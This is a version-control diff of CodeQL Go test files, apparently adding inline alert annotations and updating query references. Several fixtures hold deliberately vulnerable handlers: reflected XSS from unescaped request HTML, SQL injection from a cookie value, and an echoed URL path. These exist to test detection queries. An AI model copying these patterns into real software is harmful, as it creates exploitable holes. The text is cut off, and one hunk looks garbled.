; ; Argument[receiver]; ReturnValue; taint; manual | nodes -| EndToEnd.go:58:18:58:25 | selection of Params | semmle.label | selection of Params | -| EndToEnd.go:58:18:58:30 | selection of Form | semmle.label | selection of Form | -| EndToEnd.go:58:18:58:47 | call to Get | semmle.label | call to Get | -| EndToEnd.go:64:26:64:33 | selection of Params | semmle.label | selection of Params | -| EndToEnd.go:64:26:64:38 | selection of Form | semmle.label | selection of Form | -| EndToEnd.go:64:26:64:55 | call to Get | semmle.label | call to Get | +| EndToEnd.go:59:18:59:25 | selection of Params | semmle.label | selection of Params | +| EndToEnd.go:59:18:59:30 | selection of Form | semmle.label | selection of Form | +| EndToEnd.go:59:18:59:47 | call to Get | semmle.label | call to Get | +| EndToEnd.go:65:26:65:33 | selection of Params | semmle.label | selection of Params | +| EndToEnd.go:65:26:65:38 | selection of Form | semmle.label | selection of Form | +| EndToEnd.go:65:26:65:55 | call to Get | semmle.label | call to Get | subpaths diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.qlref index 78ce25b1921..6eb2e94892f 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/TaintedPath.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/TaintedPath.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Revel/examples/booking/app/init.go b/go/ql/test/library-tests/semmle/go/frameworks/Revel/examples/booking/app/init.go index 2f7fef73fc2..ca9232ec7c7 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Revel/examples/booking/app/init.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Revel/examples/booking/app/init.go @@ -33,11 +33,11 @@ func init() { switch event { case revel.ENGINE_BEFORE_INITIALIZED: revel.AddHTTPMux("/this/is/a/test", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - fmt.Fprintln(w, "Hi there, it worked", r.URL.Path) // $ responsebody='selection of Path' responsebody='"Hi there, it worked"' + fmt.Fprintln(w, "Hi there, it worked", r.URL.Path) // $ responsebody='selection of Path' responsebody='"Hi there, it worked"' Alert[go/reflected-xss] w.WriteHeader(200) })) revel.AddHTTPMux("/this/is/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - fmt.Fprintln(w, "Hi there, shorter prefix", r.URL.Path) // $ responsebody='selection of Path' responsebody='"Hi there, shorter prefix"' + fmt.Fprintln(w, "Hi there, shorter prefix", r.URL.Path) // $ responsebody='selection of Path' responsebody='"Hi there, shorter prefix"' Alert[go/reflected-xss] w.WriteHeader(200) })) } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/ReflectedXss.qlref b/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/ReflectedXss.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/SqlInjection.qlref b/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/SqlInjection.qlref index b6916bd2cd4..e1918157744 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/SqlInjection.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/SqlInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE-089/SqlInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/test.go b/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/test.go index a89167e126c..6b8a02a1fb3 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/test.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/XNetHtml/test.go @@ -9,50 +9,50 @@ import ( func test(request *http.Request, writer http.ResponseWriter) { - param1 := request.URL.Query().Get("param1") + param1 := request.URL.Query().Get("param1") // $ Source[go/reflected-xss] writer.Write([]byte(html.EscapeString(param1))) // GOOD: escaped. - writer.Write([]byte(html.UnescapeString(param1))) // BAD: unescaped. + writer.Write([]byte(html.UnescapeString(param1))) // $ Alert[go/reflected-xss] // BAD: unescaped. - node, _ := html.Parse(request.Body) - writer.Write([]byte(node.Data)) // BAD: writing unescaped HTML data + node, _ := html.Parse(request.Body) // $ Source[go/reflected-xss] + writer.Write([]byte(node.Data)) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data - node2, _ := html.ParseWithOptions(request.Body) - writer.Write([]byte(node2.Data)) // BAD: writing unescaped HTML data + node2, _ := html.ParseWithOptions(request.Body) // $ Source[go/reflected-xss] + writer.Write([]byte(node2.Data)) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data - nodes, _ := html.ParseFragment(request.Body, nil) - writer.Write([]byte(nodes[0].Data)) // BAD: writing unescaped HTML data + nodes, _ := html.ParseFragment(request.Body, nil) // $ Source[go/reflected-xss] + writer.Write([]byte(nodes[0].Data)) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data - nodes2, _ := html.ParseFragmentWithOptions(request.Body, nil) - writer.Write([]byte(nodes2[0].Data)) // BAD: writing unescaped HTML data + nodes2, _ := html.ParseFragmentWithOptions(request.Body, nil) // $ Source[go/reflected-xss] + writer.Write([]byte(nodes2[0].Data)) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data - html.Render(writer, node) // BAD: rendering untrusted HTML to `writer` + html.Render(writer, node) // $ Alert[go/reflected-xss] // BAD: rendering untrusted HTML to `writer` - tokenizer := html.NewTokenizer(request.Body) - writer.Write(tokenizer.Buffered()) // BAD: writing unescaped HTML data - writer.Write(tokenizer.Raw()) // BAD: writing unescaped HTML data + tokenizer := html.NewTokenizer(request.Body) // $ Source[go/reflected-xss] + writer.Write(tokenizer.Buffered()) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data + writer.Write(tokenizer.Raw()) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data _, value, _ := tokenizer.TagAttr() - writer.Write(value) // BAD: writing unescaped HTML data - writer.Write(tokenizer.Text()) // BAD: writing unescaped HTML data - writer.Write([]byte(tokenizer.Token().Data)) // BAD: writing unescaped HTML data + writer.Write(value) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data + writer.Write(tokenizer.Text()) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data + writer.Write([]byte(tokenizer.Token().Data)) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data - tokenizerFragment := html.NewTokenizerFragment(request.Body, "some context") - writer.Write(tokenizerFragment.Buffered()) // BAD: writing unescaped HTML data + tokenizerFragment := html.NewTokenizerFragment(request.Body, "some context") // $ Source[go/reflected-xss] + writer.Write(tokenizerFragment.Buffered()) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data var cleanNode html.Node - taintedNode, _ := html.Parse(request.Body) + taintedNode, _ := html.Parse(request.Body) // $ Source[go/reflected-xss] cleanNode.AppendChild(taintedNode) - html.Render(writer, &cleanNode) // BAD: writing unescaped HTML data + html.Render(writer, &cleanNode) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data var cleanNode2 html.Node - taintedNode2, _ := html.Parse(request.Body) + taintedNode2, _ := html.Parse(request.Body) // $ Source[go/reflected-xss] cleanNode2.InsertBefore(taintedNode2, &cleanNode2) - html.Render(writer, &cleanNode2) // BAD: writing unescaped HTML data + html.Render(writer, &cleanNode2) // $ Alert[go/reflected-xss] // BAD: writing unescaped HTML data } func sqlTest(request *http.Request, db *sql.DB) { // Ensure EscapeString is a taint propagator for non-XSS queries, e.g. SQL injection: - cookie, _ := request.Cookie("SomeCookie") - db.Query(html.EscapeString(cookie.Value)) + cookie, _ := request.Cookie("SomeCookie") // $ Source[go/sql-injection] + db.Query(html.EscapeString(cookie.Value)) // $ Alert[go/sql-injection] } diff --git a/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.go b/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.go index cec41e2dab2..a1a6b1f309e 100644 --- a/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.go +++ b/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.go @@ -2,7 +2,7 @@ package main func isPrefixOf(xs, ys []int) bool { for i := 0; i < len(xs); i++ { - if len(ys) == 0 || xs[i] != ys[i] { // NOT OK + if len(ys) == 0 || xs[i] != ys[i] { // $ Alert // NOT OK return false } } diff --git a/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.qlref b/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.qlref index 315838df15f..edd5d2d1d43 100644 --- a/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.qlref +++ b/go/ql/test/query-tests/InconsistentCode/ConstantLengthComparison/ConstantLengthComparison.qlref @@ -1 +1,2 @@ -InconsistentCode/ConstantLengthComparison.ql +query: InconsistentCode/ConstantLengthComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.go b/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.go index 077015ced99..cda530aec6a 100644 --- a/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.go +++ b/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.go @@ -7,7 +7,7 @@ func zeroOutExceptBad(a []int, lower int, upper int) { } // zero out everything above index `upper` - for i := upper + 1; i < len(a); i-- { // NOT OK + for i := upper + 1; i < len(a); i-- { // $ Alert // NOT OK a[i] = 0 } } diff --git a/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref b/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref index 62ab35e2257..336261fde23 100644 --- a/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref +++ b/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/InconsistentLoopOrientation.qlref @@ -1 +1,2 @@ -InconsistentCode/InconsistentLoopOrientation.ql +query: InconsistentCode/InconsistentLoopOrientation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/main.go b/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/main.go index ede1c5878fb..4cb6e1feac7 100644 --- a/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/main.go +++ b/go/ql/test/query-tests/InconsistentCode/InconsistentLoopOrientation/main.go @@ -6,12 +6,12 @@ func f1(i int) { } func f2(i int, s string) { - for j := i + 1; j < len(s); j-- { // NOT OK + for j := i + 1; j < len(s); j-- { // $ Alert // NOT OK } } func f3(s string) { - for i, l := 0, len(s); i > l; i++ { // NOT OK + for i, l := 0, len(s); i > l; i++ { // $ Alert // NOT OK } } @@ -22,7 +22,7 @@ func f4(lower int, a []int) { } func f5(upper int, a []int) { - for i := upper + 1; i < len(a); i-- { // NOT OK + for i := upper + 1; i < len(a); i-- { // $ Alert // NOT OK a[i] = 0 } } diff --git a/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.go b/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.go index 7db63c62bfe..965178e2cdc 100644 --- a/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.go +++ b/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.go @@ -5,9 +5,9 @@ import "strings" func containsBad(searchName string, names string) bool { values := strings.Split(names, ",") // BAD: index could be equal to length - for i := 0; i <= len(values); i++ { + for i := 0; i <= len(values); i++ { // $ Alert // When i = length, this access will be out of bounds - if values[i] == searchName { + if values[i] == searchName { // $ Source return true } } diff --git a/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref b/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref index 8692ba8a17d..ddd036de50a 100644 --- a/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref +++ b/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref @@ -1 +1,2 @@ -InconsistentCode/LengthComparisonOffByOne.ql +query: InconsistentCode/LengthComparisonOffByOne.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/main.go b/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/main.go index 3a426dc554d..01e849c0f2f 100644 --- a/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/main.go +++ b/go/ql/test/query-tests/InconsistentCode/LengthComparisonOffByOne/main.go @@ -3,8 +3,8 @@ package main import "regexp" func f1(i int, a []int) int { - if i <= len(a) { // NOT OK - return a[i] + if i <= len(a) { // $ Alert // NOT OK + return a[i] // $ Source } return -1 } @@ -26,8 +26,8 @@ func f3(i int, a []int) int { } func f4(i int, a []int) int { - if len(a) > 0 { // NOT OK - return a[1] + if len(a) > 0 { // $ Alert // NOT OK + return a[1] // $ Source } return -1 } diff --git a/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/MissingErrorCheck.qlref b/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/MissingErrorCheck.qlref index 519bdd54e68..c70c6a57526 100644 --- a/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/MissingErrorCheck.qlref +++ b/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/MissingErrorCheck.qlref @@ -1 +1,2 @@ -InconsistentCode/MissingErrorCheck.ql +query: InconsistentCode/MissingErrorCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/tests.go b/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/tests.go index da60b272bbe..1f45bbbf4e2 100644 --- a/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/tests.go +++ b/go/ql/test/query-tests/InconsistentCode/MissingErrorCheck/tests.go @@ -58,7 +58,7 @@ func missingCheckMayFail(fname string) { result, err := os.Open(fname) - fmt.Printf("Opened: %v\n", *result) // NOT OK + fmt.Printf("Opened: %v\n", *result) // $ Alert // NOT OK fmt.Printf("%v\n", err) // use err } @@ -240,7 +240,7 @@ func mishandlesMyError(input int) { result, err := returnsMyError(input) - fmt.Printf("Got: %d\n", *result) // NOT OK + fmt.Printf("Got: %d\n", *result) // $ Alert // NOT OK fmt.Printf("%v\n", err) // use err } diff --git a/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.go b/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.go index f6e3108f581..0ae2c8a0afb 100644 --- a/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.go +++ b/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.go @@ -3,5 +3,5 @@ package main import "fmt" func test() { - fmt.Println(2 ^ 32) // should be 1 << 32 + fmt.Println(2 ^ 32) // $ Alert // should be 1 << 32 } diff --git a/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.qlref b/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.qlref index bd96eb93eb4..40b505ceca2 100644 --- a/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.qlref +++ b/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/MistypedExponentiation.qlref @@ -1 +1,2 @@ -InconsistentCode/MistypedExponentiation.ql +query: InconsistentCode/MistypedExponentiation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/main.go b/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/main.go index b8b4be44847..5aa436eb08f 100644 --- a/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/main.go +++ b/go/ql/test/query-tests/InconsistentCode/MistypedExponentiation/main.go @@ -12,13 +12,13 @@ func main() { expectingResponse := 1 << 5 power := 10 - fmt.Println(3 ^ 5) // Not OK + fmt.Println(3 ^ 5) // $ Alert // Not OK fmt.Println(0755 ^ 2423) // OK - fmt.Println(2 ^ 32) // Not OK - fmt.Println(10 ^ 5) // Not OK - fmt.Println(10 ^ exp) // Not OK + fmt.Println(2 ^ 32) // $ Alert // Not OK + fmt.Println(10 ^ 5) // $ Alert // Not OK + fmt.Println(10 ^ exp) // $ Alert // Not OK fmt.Println(253 ^ expectingResponse) // OK - fmt.Println(2 ^ power) // Not OK + fmt.Println(2 ^ power) // $ Alert // Not OK mask := (((1 << 10) - 1) ^ 7) // OK diff --git a/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.go b/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.go index ee6987ec931..bee4b5921b0 100644 --- a/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.go +++ b/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.go @@ -3,5 +3,5 @@ package main // autoformat-ignore (otherwise gofmt will fix the spacing to reflect precedence) func isBitSetBad(x int, pos uint) bool { - return x & 1<> 1; + return x+x >> 1; // $ Alert } func ok3(x int) int { diff --git a/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.go b/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.go index 70ccce77ba7..d5901800cbb 100644 --- a/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.go +++ b/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.go @@ -28,7 +28,7 @@ func test1(input string) error { } if ok2, _ := f2(input); !ok2 { // BAD: Wrapped error is always nil - return errors.Wrap(err, "") + return errors.Wrap(err, "") // $ Alert } return nil } @@ -38,13 +38,13 @@ func test2(err error) { errors.Wrap(err, "") // BAD: Wrapped error is always nil - errors.Wrap(nil, "") + errors.Wrap(nil, "") // $ Alert err = nil // BAD: Wrapped error is always nil - errors.Wrap(err, "") + errors.Wrap(err, "") // $ Alert var localErr error = nil // BAD: Wrapped error is always nil - errors.Wrap(localErr, "") + errors.Wrap(localErr, "") // $ Alert } diff --git a/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.qlref b/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.qlref index bad618814a1..03f9d3ebda1 100644 --- a/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.qlref +++ b/go/ql/test/query-tests/InconsistentCode/WrappedErrorAlwaysNil/WrappedErrorAlwaysNil.qlref @@ -1 +1,2 @@ -InconsistentCode/WrappedErrorAlwaysNil.ql +query: InconsistentCode/WrappedErrorAlwaysNil.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.go b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.go index b096cdf5cec..594d8cfcca1 100644 --- a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.go +++ b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.go @@ -6,7 +6,7 @@ type Rectangle struct { func (r *Rectangle) containsBad(x, y int) bool { return r.x <= x && - y <= y && // NOT OK + y <= y && // $ Alert // NOT OK x <= r.x+r.width && y <= r.y+r.height } diff --git a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.qlref b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.qlref index 7c3ac7ace2b..e9d5bb357fd 100644 --- a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.qlref +++ b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/CompareIdenticalValues.qlref @@ -1 +1,2 @@ -RedundantCode/CompareIdenticalValues.ql +query: RedundantCode/CompareIdenticalValues.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/tst.go b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/tst.go index 935e71bab99..fbe842b669c 100644 --- a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/tst.go +++ b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/tst.go @@ -3,7 +3,7 @@ package main import "fmt" func foo(x int) bool { - return x == x // NOT OK + return x == x // $ Alert // NOT OK } func isNaN(x float32) bool { @@ -57,5 +57,5 @@ func baz2() bool { func baz3() bool { var y counter y.bimp() - return y == 0 // NOT OK + return y == 0 // $ Alert // NOT OK } diff --git a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/vp.go b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/vp.go index 64e070e660e..9087a589500 100644 --- a/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/vp.go +++ b/go/ql/test/query-tests/RedundantCode/CompareIdenticalValues/vp.go @@ -13,5 +13,5 @@ type t struct { } func (x *t) foo(other t) bool { - return x.GetLength() != x.GetLength() + return x.GetLength() != x.GetLength() // $ Alert } diff --git a/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.go b/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.go index b74b7312a7f..7e1328e5a33 100644 --- a/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.go +++ b/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.go @@ -5,5 +5,5 @@ type counter struct { } func (w counter) reset() { - w.val = 0 // NOT OK + w.val = 0 // $ Alert // NOT OK } diff --git a/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.qlref b/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.qlref index 90aa8beb7ad..1fa9500a954 100644 --- a/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.qlref +++ b/go/ql/test/query-tests/RedundantCode/DeadStoreOfField/DeadStoreOfField.qlref @@ -1 +1,2 @@ -RedundantCode/DeadStoreOfField.ql +query: RedundantCode/DeadStoreOfField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/DeadStoreOfLocal.qlref b/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/DeadStoreOfLocal.qlref index 9acb5d81615..5e4405270c0 100644 --- a/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/DeadStoreOfLocal.qlref +++ b/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/DeadStoreOfLocal.qlref @@ -1 +1,2 @@ -RedundantCode/DeadStoreOfLocal.ql +query: RedundantCode/DeadStoreOfLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/main.go b/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/main.go index 31062a18f98..ee7b9214a66 100644 --- a/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/main.go +++ b/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/main.go @@ -22,7 +22,7 @@ func main() { } func deadParameter(x int) bool { // we don't want to flag x here - x = deadStore() // but we do want to flag this + x = deadStore() // $ Alert // but we do want to flag this return true } diff --git a/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/testdata.go b/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/testdata.go index dad31ebd1ae..da7d6db82c3 100644 --- a/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/testdata.go +++ b/go/ql/test/query-tests/RedundantCode/DeadStoreOfLocal/testdata.go @@ -29,12 +29,12 @@ func _() { func _() { var x int _ = x - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD } func _() { var x int - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD x = 0 _ = x } @@ -58,13 +58,13 @@ func _() { } func _() { - x := deadStore2() // BAD + x := deadStore2() // $ Alert // BAD x = "def" _ = x } func _() { - x := deadStore() // BAD + x := deadStore() // $ Alert // BAD x = 0 _ = x } @@ -96,18 +96,18 @@ func _() { } func _() { - x := deadStore() // BAD + x := deadStore() // $ Alert // BAD if b { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD } x = 0 _ = x } func _() { - x := deadStore() // BAD + x := deadStore() // $ Alert // BAD for b { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD } x = 0 _ = x @@ -125,13 +125,13 @@ func _() { } func _() { - x := deadStore() // BAD + x := deadStore() // $ Alert // BAD if b { - x = deadStore() // BAD - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD + x = deadStore() // $ Alert // BAD } if b { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD } x = 0 _ = x @@ -140,7 +140,7 @@ func _() { func _() { x := 0 if b { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD x = 0 } if b { @@ -161,7 +161,7 @@ func _() { x := 0 for { _ = x - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD x = 0 } } @@ -169,7 +169,7 @@ func _() { func _() { x := 0 for { - x += deadStore() // BAD + x += deadStore() // $ Alert // BAD x = 0 } } @@ -177,7 +177,7 @@ func _() { func _() { x := 0 for { - x++ // BAD + x++ // $ Alert // BAD x = 0 } } @@ -198,7 +198,7 @@ func _() { func _() { x := struct{ f int }{42} _ = x.f - x = struct{ f int }{23} + x = struct{ f int }{23} // $ Alert } func _() { @@ -259,13 +259,13 @@ func _() (x int) { } func _() (x int) { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD x = 0 return } func _() (x int) { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD return 0 } @@ -306,7 +306,7 @@ func _(a float32, b float32) (x int) { func _(a float32, b float32) (x int) { x = 1 - a /= b + a /= b // $ Alert return 2 } @@ -318,7 +318,7 @@ func _(a int, b int) (x int) { func _(a int, b int) (x int) { x = 1 - a %= b + a %= b // $ Alert return 2 } @@ -384,7 +384,7 @@ func _() { case true: _ = x default: - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD fallthrough case b: } @@ -429,16 +429,16 @@ func _() { var ch chan int select { case ch <- 0: - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD case <-ch: - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD default: _ = x } } func _() { - x := deadStore() // BAD + x := deadStore() // $ Alert // BAD var ch chan int select { case ch <- 0: @@ -485,7 +485,7 @@ func _() { func _() { var x int if b { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD } if x = 0; b { @@ -539,7 +539,7 @@ func _() { func _() { x := 0 for x < 0 { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD if b { break } @@ -577,7 +577,7 @@ func _() { var x int for { if b { - x = deadStore() // BAD + x = deadStore() // $ Alert // BAD break } _ = x @@ -626,7 +626,7 @@ func _(v1, v2 int32) (int32, int32) { func _(v1, v2 int32) (int32, int32) { if v1 > v2 { - v1, _ = v2, v1 + v1, _ = v2, v1 // $ Alert } v1, v2 = 0, 0 return v1, v2 diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.go b/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.go index f4bc36b63fe..1f163c2867f 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.go +++ b/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.go @@ -1,7 +1,7 @@ package main func abs(x int) int { - if x >= 0 { + if x >= 0 { // $ Alert return x } else { return x diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.qlref b/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.qlref index 3eb10d9d91f..a32bc6c31f1 100644 --- a/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.qlref +++ b/go/ql/test/query-tests/RedundantCode/DuplicateBranches/DuplicateBranches.qlref @@ -1 +1,2 @@ -RedundantCode/DuplicateBranches.ql +query: RedundantCode/DuplicateBranches.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/RedundantCode/DuplicateBranches/main.go 